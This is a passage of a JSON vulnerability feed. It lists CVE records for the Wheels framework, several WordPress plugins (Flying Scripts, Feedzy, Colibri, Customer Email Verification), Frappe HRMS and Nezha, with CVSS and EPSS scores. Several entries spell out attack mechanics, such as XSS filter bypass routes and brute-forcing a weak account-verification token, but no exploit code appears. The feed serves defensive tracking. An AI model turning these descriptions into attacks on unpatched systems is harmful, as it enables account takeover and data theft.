4.2.0.","detail":"Wheels 1.1 through 4.1.2 resolves nestedProperties() records by posted primary key without checking that they belong to the parent being saved. A user able to submit a nested form for their own parent can update and reassign another parent's hasMany or hasOne rows, or delete them when allowDelete=true. Nested belongsTo records can also be edited by posting another associated record's key. New child rows with composite primary keys not made up of foreign keys retain posted key values, allowing the request to choose their identity. This is fixed in 4.2.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T04:18:30.960Z","updatedAt":"2026-10-21T03:17:18.807Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111447","asOf":"2026-10-21T03:17:18.807Z"},"epss":{"probability":0.00278,"percentile":0.20011,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111447&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111447","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111447","type":"primary","publishedAt":"2026-10-16T04:18:30.960Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111447&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111447, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111446","cveId":"CVE-2026-111446","aliases":[],"kind":"vulnerability","title":"Wheels 4.0.0 through 4.1.2 exposes password-less development tools under /wheels/* to remote clients when enablePublicComponent=true, as it is by default in development.","summary":"Wheels 4.0.0 through 4.1.2 exposes password-less development tools under /wheels/* to remote clients when enablePublicComponent=true, as it is by default in development. Before 4.1.2 these tools have no local-access restriction; in 4.1.2 the restriction trusts client-supplied headers without checking the connecting peer. Remote clients can obtain application settings, environment/datasource details and routes, and start test runs. Where application tests use the primary datasource, those runs can write to the real application database. The separately protected migrator and CLI endpoints are not affected. This is fixed in 4.2.0.","detail":"Wheels 4.0.0 through 4.1.2 exposes password-less development tools under /wheels/* to remote clients when enablePublicComponent=true, as it is by default in development. Before 4.1.2 these tools have no local-access restriction; in 4.1.2 the restriction trusts client-supplied headers without checking the connecting peer. Remote clients can obtain application settings, environment/datasource details and routes, and start test runs. Where application tests use the primary datasource, those runs can write to the real application database. The separately protected migrator and CLI endpoints are not affected. This is fixed in 4.2.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T04:18:30.763Z","updatedAt":"2026-10-16T17:17:33.410Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111446","asOf":"2026-10-16T17:17:33.410Z"},"epss":{"probability":0.00261,"percentile":0.177,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111446&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111446","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111446","type":"primary","publishedAt":"2026-10-16T04:18:30.763Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111446&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111446, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111445","cveId":"CVE-2026-111445","aliases":[],"kind":"vulnerability","title":"Wheels 4.0.0 through 4.1.2 before 4.2.0 replaces incoming scope conditions with a primary-key condition in findByKey() and exists(key=).","summary":"Wheels 4.0.0 through 4.1.2 before 4.2.0 replaces incoming scope conditions with a primary-key condition in findByKey() and exists(key=). For exists(key=), production with error information disabled returns true for an out-of-scope key instead of throwing. Applications relying on scopes for ownership or tenant authorization can therefore load and subsequently modify or delete another user's or tenant's record when the key comes from a request. The 4.2.0 fix combines key conditions with incoming scope, query-builder or where conditions in findByKey(), exists(key=), updateByKey() and deleteByKey(). Other scope-aware finders, aggregates, updateAll() and deleteAll() are not affected.","detail":"Wheels 4.0.0 through 4.1.2 before 4.2.0 replaces incoming scope conditions with a primary-key condition in findByKey() and exists(key=). For exists(key=), production with error information disabled returns true for an out-of-scope key instead of throwing. Applications relying on scopes for ownership or tenant authorization can therefore load and subsequently modify or delete another user's or tenant's record when the key comes from a request. The 4.2.0 fix combines key conditions with incoming scope, query-builder or where conditions in findByKey(), exists(key=), updateByKey() and deleteByKey(). Other scope-aware finders, aggregates, updateAll() and deleteAll() are not affected.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T04:18:30.563Z","updatedAt":"2026-10-19T19:17:23.097Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111445","asOf":"2026-10-19T19:17:23.097Z"},"epss":{"probability":0.00278,"percentile":0.20011,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111445&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111445","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111445","type":"primary","publishedAt":"2026-10-16T04:18:30.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111445&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111445, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109990","cveId":"CVE-2026-109990","aliases":[],"kind":"vulnerability","title":"The Flying Scripts: Delay JavaScript to Improve Site Speed & Performance plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all...","summary":"The Flying Scripts: Delay JavaScript to Improve Site Speed & Performance plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 1.2.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit bypasses WordPress core's save-time kses sanitization entirely because the payload uses only kses-allowed elements — an &lt;abbr title&gt; attribute and &lt;code&gt; text content — and the XSS is introduced post-save when the plugin's output-buffer rewriter substitutes a double-quote-bearing &lt;code&gt; body into the &lt;abbr title&gt; attribute via predictable, unsalted ___noise___ placeholder keys.","detail":"The Flying Scripts: Delay JavaScript to Improve Site Speed & Performance plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 1.2.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit bypasses WordPress core's save-time kses sanitization entirely because the payload uses only kses-allowed elements — an &lt;abbr title&gt; attribute and &lt;code&gt; text content — and the XSS is introduced post-save when the plugin's output-buffer rewriter substitutes a double-quote-bearing &lt;code&gt; body into the &lt;abbr title&gt; attribute via predictable, unsalted ___noise___ placeholder keys.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T04:18:26.860Z","updatedAt":"2026-10-16T15:17:08.450Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109990","asOf":"2026-10-16T15:17:08.450Z"},"epss":{"probability":0.00331,"percentile":0.26105,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109990&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109990","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109990","type":"primary","publishedAt":"2026-10-16T04:18:26.860Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109990&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109990, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109207","cveId":"CVE-2026-109207","aliases":[],"kind":"vulnerability","title":"The RSS Aggregator by Feedzy – Feed to Post, Autoblogging, News & YouTube Video Feeds Aggregator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the...","summary":"The RSS Aggregator by Feedzy – Feed to Post, Autoblogging, News & YouTube Video Feeds Aggregator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'media:thumbnail@url' parameter in all versions up to, and including, 5.2.11 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the attacker to control an external RSS feed that the target site has already configured for import; no WordPress account or special plugin configuration is needed beyond that condition.","detail":"The RSS Aggregator by Feedzy – Feed to Post, Autoblogging, News & YouTube Video Feeds Aggregator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'media:thumbnail@url' parameter in all versions up to, and including, 5.2.11 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the attacker to control an external RSS feed that the target site has already configured for import; no WordPress account or special plugin configuration is needed beyond that condition.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T04:18:26.583Z","updatedAt":"2026-10-16T15:17:06.697Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109207","asOf":"2026-10-16T15:17:06.697Z"},"epss":{"probability":0.00307,"percentile":0.2324,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109207&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109207","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109207","type":"primary","publishedAt":"2026-10-16T04:18:26.583Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109207&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109207, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107758","cveId":"CVE-2026-107758","aliases":[],"kind":"vulnerability","title":"The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 1.0.390 due to...","summary":"The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 1.0.390 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The injected payload survives storage because the widened comment allow-list permits SVG elements with arbitrary data-* attributes; execution occurs because colibri.js, enqueued globally on every front-end page, reads the stored data-target value via jQuery.data() — which HTML-entity-decodes it — and passes the resulting string directly into jQuery(), which parses a leading '<' as HTML and fires the embedded event handler.","detail":"The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 1.0.390 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The injected payload survives storage because the widened comment allow-list permits SVG elements with arbitrary data-* attributes; execution occurs because colibri.js, enqueued globally on every front-end page, reads the stored data-target value via jQuery.data() — which HTML-entity-decodes it — and passes the resulting string directly into jQuery(), which parses a leading '<' as HTML and fires the embedded event handler.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T04:18:24.003Z","updatedAt":"2026-10-16T15:17:05.540Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107758","asOf":"2026-10-16T15:17:05.540Z"},"epss":{"probability":0.00356,"percentile":0.29081,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107758&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107758","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107758","type":"primary","publishedAt":"2026-10-16T04:18:24.003Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107758&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107758, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104745","cveId":"CVE-2026-104745","aliases":[],"kind":"vulnerability","title":"The Customer Email Verification for WooCommerce plugin for WordPress is vulnerable to Privilege Escalation via the `alg_wc_ev_verify_email` parameter in versions up to, and...","summary":"The Customer Email Verification for WooCommerce plugin for WordPress is vulnerable to Privilege Escalation via the `alg_wc_ev_verify_email` parameter in versions up to, and including, 3.3.0. The vulnerability exists because `alg_wc_ev_generate_user_code()` generates the per-user activation secret using `wp_rand(100)` when the plugin's 'Encoding method' is set to 'hashids', producing only ~101 possible values (~7 bits of entropy); the resulting token is a reversible Hashids encoding with no cryptographic MAC, and the unauthenticated `verify()` handler — hooked to `init` at `PHP_INT_MAX` with no nonce check and no rate limiting — accepts and acts on the attacker-controlled `?alg_wc_ev_verify_email=` GET parameter directly. This makes it possible for unauthenticated attackers to gain authentication as any unverified WordPress account, including administrator-level accounts, by brute-forcing the trivially small activation code space via a forged verification URL. Exploitation requires that the 'Encoding method' setting be changed to 'hashids' (non-default), that the attacker recover or brute-force the Hashids salt (which defaults to an `md5(time())` value set at first initialization), and that the target account's email address remain unverified.","detail":"The Customer Email Verification for WooCommerce plugin for WordPress is vulnerable to Privilege Escalation via the `alg_wc_ev_verify_email` parameter in versions up to, and including, 3.3.0. The vulnerability exists because `alg_wc_ev_generate_user_code()` generates the per-user activation secret using `wp_rand(100)` when the plugin's 'Encoding method' is set to 'hashids', producing only ~101 possible values (~7 bits of entropy); the resulting token is a reversible Hashids encoding with no cryptographic MAC, and the unauthenticated `verify()` handler — hooked to `init` at `PHP_INT_MAX` with no nonce check and no rate limiting — accepts and acts on the attacker-controlled `?alg_wc_ev_verify_email=` GET parameter directly. This makes it possible for unauthenticated attackers to gain authentication as any unverified WordPress account, including administrator-level accounts, by brute-forcing the trivially small activation code space via a forged verification URL. Exploitation requires that the 'Encoding method' setting be changed to 'hashids' (non-default), that the attacker recover or brute-force the Hashids salt (which defaults to an `md5(time())` value set at first initialization), and that the target account's email address remain unverified.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T04:18:21.607Z","updatedAt":"2026-10-16T15:17:03.563Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104745","asOf":"2026-10-16T15:17:03.563Z"},"epss":{"probability":0.00684,"percentile":0.52299,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104745&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104745","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104745","type":"primary","publishedAt":"2026-10-16T04:18:21.607Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104745&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104745, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111389","cveId":"CVE-2026-111389","aliases":[],"kind":"vulnerability","title":"Frappe HRMS 14.x before 14.38.2, 15.x before 15.64.0, and 16.x before 16.18.0 contains a SQL injection vulnerability in some endpoints caused by missing input validation.","summary":"Frappe HRMS 14.x before 14.38.2, 15.x before 15.64.0, and 16.x before 16.18.0 contains a SQL injection vulnerability in some endpoints caused by missing input validation. Any authenticated attacker, including a low-privilege account, can send specially crafted requests to these endpoints to extract sensitive information from the database.","detail":"Frappe HRMS 14.x before 14.38.2, 15.x before 15.64.0, and 16.x before 16.18.0 contains a SQL injection vulnerability in some endpoints caused by missing input validation. Any authenticated attacker, including a low-privilege account, can send specially crafted requests to these endpoints to extract sensitive information from the database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T03:18:06.540Z","updatedAt":"2026-10-18T12:17:09.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111389","asOf":"2026-10-18T12:17:09.700Z"},"epss":{"probability":0.00278,"percentile":0.20094,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111389&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111389","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111389","type":"primary","publishedAt":"2026-10-16T03:18:06.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111389&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111389, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111387","cveId":"CVE-2026-111387","aliases":[],"kind":"vulnerability","title":"Nezha from 2.2.5 before 2.3.15 contains an information disclosure vulnerability that allows authenticated users to retrieve third-party credentials because listDDNS omits...","summary":"Nezha from 2.2.5 before 2.3.15 contains an information disclosure vulnerability that allows authenticated users to retrieve third-party credentials because listDDNS omits WebhookURL and WebhookRequestBody redaction. Admins or PATs with nezha:ddns:read scope can call GET /api/v1/ddns to read cleartext tokens embedded in every user's DDNS webhook profiles.","detail":"Nezha from 2.2.5 before 2.3.15 contains an information disclosure vulnerability that allows authenticated users to retrieve third-party credentials because listDDNS omits WebhookURL and WebhookRequestBody redaction. Admins or PATs with nezha:ddns:read scope can call GET /api/v1/ddns to read cleartext tokens embedded in every user's DDNS webhook profiles.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T03:18:06.217Z","updatedAt":"2026-10-16T18:17:38.837Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111387","asOf":"2026-10-16T18:17:38.837Z"},"epss":{"probability":0.00264,"percentile":0.18176,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111387&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111387","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111387","type":"primary","publishedAt":"2026-10-16T03:18:06.217Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111387&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111387, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111384","cveId":"CVE-2026-111384","aliases":[],"kind":"vulnerability","title":"Nezha 1.0.0 before 2.3.15 contains a memory exhaustion vulnerability in the dashboard file manager WebSocket endpoint because fmStream never calls SetReadLimit, leaving message...","summary":"Nezha 1.0.0 before 2.3.15 contains a memory exhaustion vulnerability in the dashboard file manager WebSocket endpoint because fmStream never calls SetReadLimit, leaving message size unbounded. Authenticated users with file manager scopes can send one oversized binary message to /api/v1/ws/file/:id, triggering an OOM kill that drops all agent monitoring.","detail":"Nezha 1.0.0 before 2.3.15 contains a memory exhaustion vulnerability in the dashboard file manager WebSocket endpoint because fmStream never calls SetReadLimit, leaving message size unbounded. Authenticated users with file manager scopes can send one oversized binary message to /api/v1/ws/file/:id, triggering an OOM kill that drops all agent monitoring.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 